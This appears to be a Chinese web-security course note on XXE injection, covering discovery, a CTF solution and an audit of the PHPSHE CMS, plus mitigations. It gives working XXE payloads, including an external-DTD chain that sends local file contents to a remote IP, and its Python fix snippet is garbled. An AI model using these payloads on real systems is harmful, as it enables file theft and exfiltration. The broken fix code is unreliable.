小迪安全41WEB 攻防-通用漏洞&XML&XXE&无回显&DTD 实体&伪协议&代码审计

#知识点:

1、XML&XXE-原理&发现&利用&修复等

2、XML&XXE-黑盒模式下的发现与利用

3、XML&XXE-白盒模式下的审计与利用

4、XML&XXE-无回显&伪协议&产生层面

#思路点:

参考:https://www.cnblogs.com/20175211lyz/p/11413335.html

-XXE 黑盒发现:

1、获取得到 Content-Type 或数据类型为 xml 时,尝试进行 xml 语言 payload 进行测试

2、不管获取的 Content-Type 类型或数据传输类型,均可尝试修改后提交测试 xxe

3、XXE 不仅在数据传输上可能存在漏洞,同样在文件上传引用插件解析或预览也会造成

文件中的 XXE Payload 被执行

-XXE 白盒发现: ------针对于xml的相关函数搜索,会增加查找XXE漏洞

1、可通过应用功能追踪代码定位审计

2、可通过脚本特定函数搜索定位审计

3、可通过伪协议玩法绕过相关修复等

#详细点:

XML 被设计为传输和存储数据,XML 文档结构包括 XML 声明、DTD 文档类型定义(可

选)、文档元素,其焦点是数据的内容,其把数据从 HTML 分离,是独立于软件和硬件的

信息传输工具。

XXE 漏洞全称 XML External Entity Injection,即 xml 外部实体注入漏洞,XXE 漏洞发生在应用程序解析 XML 输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。

XML 与 HTML 的主要差异:

XML 被设计为传输和存储数据,其焦点是数据的内容。

HTML 被设计用来显示数据,其焦点是数据的外观。

HTML 旨在显示信息 ,而 XML 旨在传输信息。

XXE 修复防御方案:

-方案 1-禁用外部实体

PHP:

libxml_disable_entity_loader(true);

JAVA:

DocumentBuilderFactory dbf

=DocumentBuilderFactory.newInstance();dbf.setExpandEntityReferenc

es(false);

Python:

From lxml.import etreexmlData =

Etree.parse(xmlSource.etree.XMLParser(resolve_entitles=False))

方案2-过滤用户提交的XML数据:

过滤关键词:<!DOCTYPE>和<!ENTITY>,或者SYSTEM和PUBLIC


Ø XML&XXE-黑盒-原理&探针&利用&玩法等

Ø XML&XXE-前端-CTF&Jarvisoj&探针&利用

Ø XML&XXE-白盒-CMS&PHPSHE&无回显审计


#XML&XXE-黑盒-原理&探针&利用&玩法等

辨别xml和html的数据包:

Xml:php_xxe

Html:

对xml进行分析

通过数据包进行白盒分析 doLogin.php

分析loadXML函数

同时,也能判断出此网页会对解析后的代码进行回显,那此时如果我们对其加入恶意代码让其进行执行,那可以实现:

1、读取文件:

<?xml version="1.0"?>

<!DOCTYPE Mikasa [

<!ENTITY test SYSTEM "file:///d:/e.txt">

]>

<user><username>&test;</username><password>Mikasa</password></use

r>

读取到本地D盘e.txt的文件内容

1.1、带外测试:

指内部服务器能通过某漏洞,将数据外带到外部域名中 DNSLog Platform

<?xml version="1.0" ?>

<!DOCTYPE test [

<!ENTITY % file SYSTEM "http://9v57ll.dnslog.cn">

%file;

]>

<user><username>&send;</username><password>Mikasa</password></use

r>

收到了内部的IP情况

因此,可以从到无回显的网页中,排去无回显的其他原因(代码写错、网络问题、没有漏洞等情况),当工具网页中,出现了来自内部的iP,则说明XXE漏洞存在,只是不回显数据

2.外部引用实体(有回显) dtd:

利用远程地址让远程地址中的文件evil2.dtd 执行恶意代码

解决了数据拦截防护过滤的问题

<?xml version="1.0" ?>

<!DOCTYPE test [

<!ENTITY % file SYSTEM "http://127.0.0.1:8081/evil2.dtd">

%file;

]>

<user><username>&send;</username><password>Mikasa</password></use

r>

evil2.dtd

<!ENTITY send SYSTEM "file:///d:/e.txt">

3.无回显读文件

将读取到的文件信息,保存到指定地址中,并让本地接收的文件写入get.php,对读取的文件信息进行收集保存到本地file.txt

Payload:

<?xml version="1.0"?>

<!DOCTYPE ANY[

<!ENTITY % file SYSTEM "file:///d:/e.txt">

<!ENTITY % remote SYSTEM "http://47.94.236.117/test.dtd">

%remote;

%all;

]>

<root>&send;</root>

test.dtd

<!ENTITY % all "<!ENTITY send SYSTEM

'http://47.94.236.117/get.php?file=%file;'>">

Get.php

4、其他玩法(协议)-见参考地址

#XML&XXE-前端-CTF&Jarvisoj&探针&利用

http://web.jarvisoj.com:9882/

通过数据包分析,它是以json形式

但是我们通过查看源代码,得知关键的信息

可以得知它其实是做了二次处理的,将第一次的数据为xml,然后进行json处理

所以输入payload,并修改type值:将json改为xml

<?xml version="1.0"?>

<!DOCTYPE ANY [

<!ENTITY test SYSTEM "file:///home/ctf/flag.txt">

]>

<x>&test;</x>

#XML&XXE-白盒-CMS&PHPSHE&无回显审计

-XXE 白盒发现: ------针对于xml的相关函数搜索,会增加查找XXE漏洞

1、可通过应用功能追踪代码定位审计

2、可通过脚本特定函数搜索定位审计

3、可通过伪协议玩法绕过相关修复等

simplexml_load_string

内容确定,得知此函数是在一个函数里面,所以我们要去看看谁调用了这个函数

pe_getxmlpe_getxml

同理,继续看谁调用函数wechat_getxml

找到了notify_url.php,对其进行网页安全测试

Payload:

<?xml version="1.0"?>

<!DOCTYPE ANY [

<!ENTITY test SYSTEM "file:///d:/1.txt">

]>

<x>&test;</x>

发现没有回显出数据来

所以用外带来进行确认漏洞是否存在

出现ip回显,则说明确实存在XXE

所以直接判定为无回显的XXE漏洞:

分析代码:输出的地方没有设计到变量,所以没有数据是合理的

那就远程读取文件,将文件进行保存,再用get.php进行读取,存入file.txt文件,获取相关内容

相关推荐
EasyCVR38 分钟前
萤石设备视频接入平台EasyCVR多品牌摄像机视频平台海康ehome平台(ISUP)接入EasyCVR不在线如何排查?
运维·服务器·网络·人工智能·ffmpeg·音视频
明月看潮生1 小时前
青少年编程与数学 02-003 Go语言网络编程 15课题、Go语言URL编程
开发语言·网络·青少年编程·golang·编程与数学
jjyangyou2 小时前
物联网核心安全系列——物联网安全需求
物联网·算法·安全·嵌入式·产品经理·硬件·产品设计
龙哥说跨境2 小时前
如何利用指纹浏览器爬虫绕过Cloudflare的防护?
服务器·网络·python·网络爬虫
AltmanChan2 小时前
大语言模型安全威胁
人工智能·安全·语言模型
马船长2 小时前
红帆OA iorepsavexml.aspx文件上传漏洞
安全
懒大王就是我3 小时前
C语言网络编程 -- TCP/iP协议
c语言·网络·tcp/ip
Elaine2023913 小时前
06 网络编程基础
java·网络
海绵波波1074 小时前
Webserver(4.3)TCP通信实现
服务器·网络·tcp/ip
热爱跑步的恒川7 小时前
【论文复现】基于图卷积网络的轻量化推荐模型
网络·人工智能·开源·aigc·ai编程